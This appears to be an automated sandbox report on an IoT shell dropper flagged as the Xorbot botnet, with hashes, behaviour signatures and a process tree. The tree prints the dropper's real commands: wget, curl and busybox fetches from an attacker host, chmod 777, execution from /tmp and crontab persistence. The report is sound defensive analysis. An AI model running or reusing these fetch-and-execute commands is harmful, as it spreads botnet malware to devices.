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Analysis

  • max time kernel
    96s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    28/02/2025, 12:43

General

  • Target

    BZTS9_bins.sh

  • Size

    10KB

  • MD5

    5f5a8beaeee13fdd7a462ebf3797535c

  • SHA1

    982824d6165ed0668b25d6765b631170fc8bbd1d

  • SHA256

    d3d3f91578e875f1bf3302e63df0e3d51179d6f4e0c3cdcdc4fd7eef1027fc81

  • SHA512

    1569973908da43ee2f414331f4f81ec6106545ec4140272be439351c81bf2e2b27877e9e444c1e7290f195510f59b475de7885999bcc273392e0a0a778b7f01a

  • SSDEEP

    96:YokU5Utt6LLnXIEgLsXasZeEINqKqCqE5FJLeOILQAQ8Q8rLNL04hyK1mZEZIZZy:75tgd4t/NYQ3SuaZNnEb7YQ3Su4ZNnY

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (812) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 20 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/BZTS9_bins.sh
    /tmp/BZTS9_bins.sh
    1⤵
    • Executes dropped EXE
    PID:708
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:712
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:715
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:737
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:739
      • /bin/chmod
        chmod 777 coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • File and Directory Permissions Modification
        PID:740
      • /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        ./coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
          PID:741
        • /bin/rm
          rm coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
          2⤵
            PID:743
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:744
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:755
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:792
          • /bin/chmod
            chmod 777 hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • File and Directory Permissions Modification
            PID:793
          • /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            ./hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
              PID:794
            • /bin/rm
              rm hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
              2⤵
                PID:796
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:797
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:798
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:833
              • /bin/chmod
                chmod 777 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • File and Directory Permissions Modification
                PID:834
              • /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                ./6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • Renames itself
                • Reads runtime system information
                PID:835
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:837
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:838
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:839
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:840
                    • /bin/rm
                      rm 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                      2⤵
                        PID:842
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                        2⤵
                        • System Network Configuration Discovery
                        PID:845
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                        2⤵
                        • System Network Configuration Discovery
                        PID:846
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:847
                      • /bin/chmod
                        chmod 777 BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                        2⤵
                        • File and Directory Permissions Modification
                        PID:848
                      • /tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                        ./BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                        2⤵
                          PID:849
                        • /bin/rm
                          rm BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                          2⤵
                            PID:851
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                            2⤵
                            • System Network Configuration Discovery
                            PID:852
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                            2⤵
                            • System Network Configuration Discovery
                            PID:853
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:855
                          • /bin/chmod
                            chmod 777 WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                            2⤵
                            • File and Directory Permissions Modification
                            PID:856
                          • /tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                            ./WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                            2⤵
                              PID:857
                            • /bin/rm
                              rm WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc
                              2⤵
                                PID:859
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                2⤵
                                • System Network Configuration Discovery
                                PID:860
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                2⤵
                                • System Network Configuration Discovery
                                PID:861
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:863
                              • /bin/chmod
                                chmod 777 FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                2⤵
                                • File and Directory Permissions Modification
                                PID:864
                              • /tmp/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                ./FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                2⤵
                                  PID:865
                                • /bin/rm
                                  rm FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV
                                  2⤵
                                    PID:867
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:868
                                  • /usr/bin/curl
                                    curl -O http://conn.masjesu.zip/bins/ly20uQ5RVmBE1c3GXpfTK7NWIJnJfL9ZZu
                                    2⤵
                                    • Reads runtime system information
                                    • System Network Configuration Discovery
                                    PID:869

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                • /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /tmp/FRmvE47RI4hlDxnGBBTUiHC7WhdmsKfMYV

                                  Filesize

                                  99KB

                                  MD5

                                  9438d9bc392bcf300a5583b6df5bc8f6

                                  SHA1

                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                  SHA256

                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                  SHA512

                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                • /tmp/WBr82G4zo02tl7Bd1MTHjN8uRoW2qv3rGc

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74

                                  Filesize

                                  127KB

                                  MD5

                                  89077b7bd4bcafca7713be43635c4862

                                  SHA1

                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                  SHA256

                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                  SHA512

                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                • /var/spool/cron/crontabs/tmp.V2qtFn

                                  Filesize

                                  210B

                                  MD5

                                  28d126cb90c22a21f97e2f17c973d3aa

                                  SHA1

                                  4151ee54d91bd64a5864c7c7dd778c284323a6a9

                                  SHA256

                                  e27dbdcd106036e4543e4d5ca77e73547fafd8ead03bea70dbfcfc6b69028c00

                                  SHA512

                                  4269f1bb8273da366998856cbd3825fb52ed58fd8ab9b977158f62323318cd6d5289d1bc03db7267af32c7aa7b521155073fa85f7ef042b92f7f07e2d855ec1b